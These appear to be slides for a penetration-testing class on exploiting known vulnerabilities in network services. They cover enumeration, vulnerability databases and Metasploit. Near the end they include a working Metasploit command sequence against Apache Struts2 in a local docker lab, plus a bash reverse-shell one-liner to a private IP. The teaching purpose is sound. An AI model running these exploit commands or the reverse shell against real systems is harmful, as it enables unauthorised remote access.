

Day 3

Exploit known
vulnerabilities
in network
services



Setup for class

In the last session, we learned about **more complex web application vulnerabilities**:

- SQL Injection
- XXE Injection
- Cross Site Scripting

Today we are going to discuss vulnerabilities found **in a broader set of network services**:

- Firewalls
- Mail servers
- VPN servers
- ERP systems
- etc. systems

Often these services are third-party vendor-developed applications that may contain bugs that are well-known to the world. These bugs are called day one vulnerabilities.

In class.

We'll learn:

- Exploit known vulnerabilities in network services
- Search for known software vulnerabilities and exploits
- Use the exploitation and testing Metasploit
- Scan network services
- And we'll also discuss zero-day vulnerabilities and how to find them.

Basic Concepts

- **Exploit** - a computer program, a piece of software code, or a sequence of commands that exploits vulnerabilities in software and is used to conduct an attack on a computer system.
- **Payload** - the part of an exploit that performs destructive actions on data. For example, copying information from a computer.
- **Exploitation framework** - a platform for creating and debugging exploits. Includes an opcode database, shellcode archive, and information on information security research.

General principles

Exploiting known vulnerabilities involves the following steps:

- Target enumeration
- Search for vulnerabilities
- Exploit selection
- Vulnerability exploitation

□ Target enumeration

First, it's essential to identify what services are running on any open ports on the target server, and it's crucial to learn how to find these **ports and services** effectively.

Network scanners are used to find ports and services, allowing us to answer the questions:

- what services are published on a node?
- what network ports do they use?
- is the node available to us?

To understand how scanning open ports and services operates, it's crucial to grasp the **network protocols** that facilitate these functions. For a comprehensive understanding, we recommend studying the underlying network communication protocols on your own: TCP, UDP, IP, and ICMP.

Target enumeration

At this stage, the main tasks are:

- ☐ Identify the software and its exact version
- ☐ Discover the features of service customization: demo mode / default settings / used patches
- ☐ Evaluate other details of service status and possible related data.

Target enumeration

Possible problems at this stage may be the lack of explicit information about the software version.

In this case, various tricks can help:

- ☐ **Counting checksums** of static files, for comparing with files of a certain version: favicon, js code, images
- ☐ **Investigating code changes** and examining patches that are visible from web page code, comparing them to code versions in repositories
- ☐ **Search for debugging options** or special software disclosure pages

Search known vulnerabilities of the specific software version.

At this stage, we'll use knowledge bases and tools that will allow us to determine the presence of vulnerabilities in the software under investigation

The following tools are excellent for this purpose:

- [Common Vulnerabilities and Exposures](#) Knowledge Base
- [Vulners](#) platform
- [Offensive Security's](#) exploit database
- [Vulnerability management and threat analysis](#) platform
- [DBugs](#) by Positive Technologies

Exploit the vulnerability

It is assumed that by the exploitation phase there is a debugged, prepared exploit for the right software version, and it can be applied.

Before operation, make sure that:

- ☐ You know exactly **what the exploit will do**, how and why it will work;
- ☐ The exploit will **not disrupt the** system's **functionality** or significantly change the state of the system;
- ☐ The exploit **does not contain any “unwanted features” or logic bombs**, that could have been hidden there by the attacker;

once you execute an exploit, you don't have to use it a second time: prepare to secure access, make sure you solve the problem in the fewer possible steps.

Selecting an exploit for a specific vulnerability

It is important to realize: it is far from always possible to find an exploit for a specific vulnerability.

For most vulnerabilities, exploits never become known.

There are two possible scenarios at work:

01 **For a particular software vulnerability and a particular version of it.** **There is an exploit that can be found online. In this case, what remains is:**

- to find an exploit,
- to understand how the exploit works,
- review the exploit code before you run it,
- to customize or add an exploit to suit your task,
- to debug the exploit on your local test environment
- to use an exploit.

Selecting an exploit for a specific vulnerability

02

There is no public exploit for the vulnerability in the software and its specific version.

In this case, there are not many options:

→ Find out if the exploit is available for purchase somewhere

→ Examine the software and its specific version to detect a vulnerability and prepare an exploit by yourself.

Known instances of Day 0 vulnerability leaks:

EternalBlue is a computer exploit developed by the US National Security Agency (NSA). It was leaked by the hacker group Shadow Brokers on April 14, 2017, a month after Microsoft released patches for the vulnerability.

Examples of zero-day vulnerability research in public libraries:

[imgetrack.com](https://imgtrick.com).

ImageMagick, a package commonly used by web services for image processing, has been found to have many vulnerabilities in 2016. Many of the vulnerabilities could lead to remote code execution (RCE) when processing images sent by a user.

github.com/neex/phui-pizdam

This is an exploit for a bug in php-fpm (CVE-2019-11043). In certain nginx + php-fpm configurations, the bug can be externally triggered. This means that a web user can get code execution if you have a vulnerable configuration.

Zero-day vulnerabilities

- Vulnerabilities found in popular programs and hardware and software systems pose a **huge threat to the security of all companies**, that utilize vulnerable software.
- If a vulnerability has been discovered in this kind of popular program and no protection mechanisms or patches have been created for it, it is called a **zero-day vulnerability**.
- **Zero-day vulnerabilities become day one vulnerabilities** when the vendor informs everyone that the vulnerability has been discovered and fixed in their software.

Exploitation of vulnerability using a framework

Vulnerabilities usually exploited using separate exploits created specifically for a particular vulnerability. Or they use exploitation frameworks that are designed to unify the preparation, configuration, and testing of exploits.

Popular exploitation frameworks:

Metasploit Framework (Free) - metasploit.com

CobaltStrike (\$\$\$) - cobaltstrike.com

Exploit Pack (\$\$\$) - exploitpack.com

Core Impact Pro (\$\$\$) - coresecurity.com/products/core-impact

Working with the Metasploit framework is on the list of must-have skills for hackers.

Next, let's take a closer look at its capabilities.



Metasploit Framework

Payload

Metasploit currently has over 600 payloads.

→ The command shell allows users to run scripts data collection scripts or execute arbitrary commands on the host.

→ Meterpreter (Metasploit interpreter) allows users to control the device's device screen using VNC, as well as view, upload and download files.

→ Dynamic payloads allow users to bypass antivirus protection by generating unique payloads.

Static payloads provide static forwarding of IP addresses/ports for communication between the host and the client system.

Auxiliary modules

The Metasploit Framework includes hundreds of helper modules that can perform scanning, fuzzing, sniffing, and more. There are three types of auxiliary modules: scanners, admin, and server modules.

Metasploit Framework

The modern version of Metasploit contains **more than 2000 exploits, more than 1000 reconnaissance and scanning modules**, post exploitation modules, loaders, encoders, anti-discovery tools, and so on.

Exploits

Metasploit currently has more than 2,000 exploits, grouped by the following platforms: AIX, Android, BSD, Cisco, Firefox, FreeBSD, HP-UX, Irix, Java, JavaScript, Linux, mainframe, multi (applicable to for multiple platforms), NetBSD, NetWare, nodejs, OpenBSD, macOS, PHP, Python, R, Ruby, Solaris, Unix, and Windows.

Supplementary materials

Extras:



tryhackme.com/room/metasploitintro

a platform for independent problem solving and practitioner section on Metasploit



kali.org/docs/tools/starting-metasploit-framework-in-kali/

Metasploit introduction and documentation



<https://www.offensive-security.com/metasploit-unleashed/>

A short course on Metasploit features and details from developers

Example

In our example:

Vulnerability: Apache Struts2

CVE-2017-5638 [Exploit](#)

[A detailed breakdown of the exploit](#)

Search Request:



```
msfconsole search 'Apache Struts Showcase'
```

Configuring Metasploit example

msfconsole configuration commands for (CVE-2017-9791)(Bash Commands):

Console:

```
msfconsole
search struts showcase
use exploit/multi/http/struts2_code_exec_showcase
info
options
set RHOSTS localhost
set RPORT 1337
set TARGETURI /integration/saveGangster.action
set PAYLOAD cmd/unix/generic
set CMD 'cat /flag'
check
exploit
```


- <- Launching framework
- <- Search for all possible exploits with the contents "struts showcase"
- <- Choosing an exploit to work with subsequent settings
- <- Exploring information about the exploit
- <- Demonstration of options for configuring exploit
- <- Configuring a node to use exploit
- <- Configuring the port to use the exploit
- <- Setting up the location of the vulnerable plugin on website
- <- Setting the payload after using exploit
- <- Setting load options (Specifying the command to be executed)
- <- Using to check the correctness of the configured
- <- Exploiting a vulnerability

You can raise the stand yourself with the docker command:

```
docker run -it --rm -p 1337:8080 --name struts piesecurity/apache-struts2-cve-2017-5638
```

Using reverse shell

Example:



```
sh -i >& /dev/tcp/192.168.0.177/9001 0>&1
```



More at: www.revshells.com